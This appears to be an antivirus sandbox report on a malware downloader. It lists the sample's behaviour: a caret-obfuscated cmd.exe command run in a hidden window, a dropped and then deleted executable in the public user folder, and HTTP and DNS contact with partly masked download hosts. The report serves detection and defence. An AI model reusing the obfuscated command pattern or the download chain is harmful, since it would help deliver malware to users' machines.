Technical Information
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^e^t ^S^O^Q=^mc^E^ I^m/^ ^DZl^ N^W^~^ ^}^[a^ ^u^g^-^ c^{^=^ W^O^E^ ^b4^\ ^J^w^;^ ^y^H(^ ^>Z^D^ ^J^>)^ ^b]^m^ }{^L^ Y^'\^ ^=R^H^ ^_^j^h^}/^i^Z^}^[^?^x^{^F^,%^h^B^[vc^A^S^_^t^W^-^,^a^...
Modifies file system
Creates the following files
- C:\users\public\731.exe
Deletes the following files
- C:\users\public\731.exe
Network activity
Connects to
- 'ra##ec.kz':80
- 'tr###l-junky.de':80
- 'ed###iss.net':80
- 'ed###iss.net':443
TCP
HTTP GET requests
- http://www.ra##ec.kz/iTZQWcKgXd
- http://www.ra##ec.kz/rus/
- http://tr###l-junky.de/zzRBdKw
- http://ed###iss.net/wp-content/wmFRCFXr
Other
- 'ed###iss.net':443
UDP
- DNS ASK re##by.club
- DNS ASK ra##ec.kz
- DNS ASK tr###l-junky.de
- DNS ASK ah####niktarti.com
- DNS ASK ed###iss.net
Miscellaneous
Creates and executes the following
- '<SYSTEM32>\cmd.exe' /V^:^ON/C"^s^e^t ^S^O^Q=^mc^E^ I^m/^ ^DZl^ N^W^~^ ^}^[a^ ^u^g^-^ c^{^=^ W^O^E^ ^b4^\ ^J^w^;^ ^y^H(^ ^>Z^D^ ^J^>)^ ^b]^m^ }{^L^ Y^'\^ ^=R^H^ ^_^j^h^}/^i^Z^}^[^?^x^{^F^,%^h^B^[vc^A^S^_^t^W^-^,^a^...' (with hidden window)
